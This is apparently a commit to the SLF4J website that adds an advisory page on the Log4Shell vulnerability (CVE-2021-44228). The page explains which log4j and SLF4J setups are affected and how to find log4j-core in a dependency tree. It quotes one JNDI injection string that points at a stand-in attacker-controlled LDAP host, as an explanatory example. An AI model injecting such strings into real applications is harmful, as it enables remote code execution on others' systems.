Skip to content

Commit

Permalink
comments on CVE-2021-44228
Browse files Browse the repository at this point in the history
Signed-off-by: Ceki Gulcu <ceki@qos.ch>
  • Loading branch information
ceki committed Dec 11, 2021
1 parent 98f1f2f commit 25ddfaa
Show file tree
Hide file tree
Showing 2 changed files with 114 additions and 95 deletions.
97 changes: 2 additions & 95 deletions slf4j-site/src/site/pages/docs.html
Expand Up @@ -30,7 +30,8 @@ <h1>Documentation</h1>
<li><a href="faq.html">FAQ</a></li>
<li><a href="codes.html">SLF4J error messages</a></li>
<li><a href="legacy.html">Bridging legacy APIs</a></li>
<li><a href="migrator.html">SLF4J Migrator</a></li>
<li><a href="migrator.html">SLF4J Migrator</a></li>
<li><a href="log4shell.html">Comments on the CVE-2021-44228 vulnerability</a></li>
<li><a href="extensions.html">SLF4J extensions</a></li>

<li><a href="localization.html">Localization/Internalization support</a></li>
Expand All @@ -53,100 +54,6 @@ <h2>Videos</h2>
</tr>
</table>

<h2>Articles, blogs &amp; presentations</h2>

<ul>

<li>
<a
href="http://jayunit100.blogspot.ch/2013/10/simplifying-distinction-between-sl4j.html">Simplifying
the distinction between SL4J and commons logging</a>, by Jay
Vyas
</li>

<li>
<a
href="http://runjva.appspot.com/logging101/index.html">Logging
in Java with slf4j</a>, by Thorbj&oslash;rn Ravn Andersen
</li>

<li>
<a href="http://eclipsezone.com/articles/franey-logging/?source=archives">Universal
Logger Plug-ins for RCP Applications</a>, by John J. Franey
</li>


<li><a href="http://blog.frankel.ch/tech/dev/java/thoughts-on-java-logging-and-slf4j">Thoughts on Java logging and SLF4J</a> by Nicolas Frankel
</li>

<li><a href="http://glauche.de/2009/08/24/">Logging with SLF4J and
Guice</a>, by Michael Glauche </li>

<li>
<a href="slf4j-in-10-slides.ppt">SLF4J in 10 slides</a>, by Ceki G&uuml;lc&uuml;
</li>

<li><a
href="http://parleys.com/play/514892260364bc17fc56be83/chapter0/about">Devoxx-2009
video presentation</a>, by Ceki G&#252;lc&#252; </li>

<li>
<a
href="http://day-to-day-stuff.blogspot.com/2007/10/announcement-version-99-does-not-exist.html">
Version 99 Does Not Exist</a>, by Erik van Oosten
</li>

<li>
<a href="http://www.catosplace.net/blogs/personal/?p=442">JUnit
4 Test Logging Tips using SLF4J</a>, by Pete Sellars
</li>

<li>
<a
href="http://tapestryjava.blogspot.com/2007/08/so-long-commons-logging-hello-slf4j.html">So
long, commons-logging, hello SLF4J</a>, by Howard Lewis Ship
</li>

<li>
<a
href="http://bsnyderblog.blogspot.com/2007/08/my-soapbox-for-slf4j.html">My
Soapbox for SLF4J</a>, by Bruce Snyder
</li>

<li>
<a
href="http://blog.springsource.com/2009/12/04/logging-dependencies-in-spring/">Logging
Dependencies in Spring </a> by Dave Syer
</li>

<li>
<a href="http://baptiste-wicht.developpez.com/tutorials/java/slf4j/">Logging with SLF4J</a>
by Baptiste Wicht
</li>

<li>
<a href="http://javajing.com/2012/06/08/slf4j.html">Steps to use
SLF4J</a> short (8 minute) video
</li>

</ul>

<h4>In French</h4>

<ul>
<li><a
href="http://www.insideit.fr/post/2009/11/23/SLF4J-LOGBack">SLF4J
&amp; Logback : simplifiez-vous les logs</a> by Ludovic Meurillon
</li>

<li>
<a
href="http://baptiste-wicht.developpez.com/tutoriels/java/slf4j/">Journalisation avec SLF4J
</a> by Baptiste Wicht
</li>

</ul>


<script src="templates/footer.js" type="text/javascript"></script>

Expand Down
112 changes: 112 additions & 0 deletions slf4j-site/src/site/pages/log4shell.html
@@ -0,0 +1,112 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>SLF4J</title>
<link rel="stylesheet" type="text/css" media="screen" href="css/site.css" />
</head>
<body>

<script type="text/javascript">prefix='';</script>
<script type="text/javascript" src="js/jquery-min.js"></script>
<script src="templates/header.js" type="text/javascript"></script>
<div id="left">
<noscript>Please turn on Javascript to view this menu</noscript>
<script src="templates/left.js" type="text/javascript"></script>
</div>
<div id="right">
<script src="templates/right.js" type="text/javascript"></script>
</div>
<div id="content">

<h1>Comments on the CVE-2021-44228 vulnerability</h1>



<p>CVE-2021-44228 is a vulnerability classified under the
highest severity mark, i.e. 10 out of 10. It allows an attacker
to execute arbitrary code by injecting attacker-controlled data
into a logged message. As far as vulnerabilities are concerned,
CVE-2021-44228 is probably as bad as it gets.
</p>

<p>Superlatives aside, it is important to understand the <a
href="https://www.lunasec.io/docs/blog/log4j-zero-day/">mechanics
of the vulnerability</a>. The exploit becomes effective when the
attacker can inject a string containing a substring in the form
"&dollar;&lbrace;jndi:ldap://some.attacker-controlled.site/&rbrace;". Opportunities
for injecting such a string seem endless.
</p>

<p>Log4j 2.x is open for this attack because it performs a
lookup, aka string substitution, using the JNDI protocol,
whenever the "&dollar;&lbrace;jndi:...&rbrace;" string is found
within a message parameter. As mentioned above, the contents of
the message parameter can be injected by the attacker quite
easily.</p>

<h3>Is log4j 1.x vulnerable?</h3>

<p class="highlight">As log4j 1.x does not offer a look-up
mechanism, it does not suffer from CVE-2021-44228 in any shape
or form.</p>

<p>As log4j version 1.x is still very widely deployed, we have
been receiving a steady stream of questions regarding the
vulnerability of log4j version 1.x.


<p><b>As log4j 1.x does not offer a look up mechanism, it does not
suffer from CVE-2021-44228 in any shape or form.</b> Any innuendo
claiming otherwise is false.</p>


<h3>How about the SLF4J API?</h3>

<p>The SLF4J API is just an API which lets message data go
through. As such, using log4j 2.x even via SLF4J does not
mitigate the vulnerability.
</p>

<p>However, as mentioned previously, log4j 1.x is safe. Thus, if
your SLF4J provider/binding is <em>slf4j-logj12.jar</em>, you
are safe.</p>

<p>If you are using <em>log4j-over-slf4j.jar</em> with SLF4J
API, you are safe unless the underlying implementation is log4j
2.x.</p>

<h3>How do I know if log4j 2.x is in use in my project?</h3>

<p>As an artifact can be pulled into a project transitively,
looking at explicit dependency declarations may not be
sufficient. We suggest that you look into your project's full
dependency tree. For Maven users, this full tree can be obtained
with the "mvn dependency:tree" command. </p>

<p>If <code>log4j-core</code>, located in the
<code>org.apache.logging.log4j</code> group, is absent, then you
are fine. Otherwise, either remove the said artifact or upgrade
to a log4j 2.x version which fixes the issue.
<p>

<h3>Further reading</h3>

<ol>
<li><a
href="https://www.lunasec.io/docs/blog/log4j-zero-day/">Log4Shell:
RCE 0-day exploit found in log4j2, a popular Java logging
package</a></li>

<li><a
href="https://github.com/lunasec-io/lunasec/blob/master/docs/blog/2021-12-09-log4j-zero-day.md">lunasec-io/lunasec</a></li>

</ol>



</div>
</body>
</html>

0 comments on commit 25ddfaa

Please sign in to comment.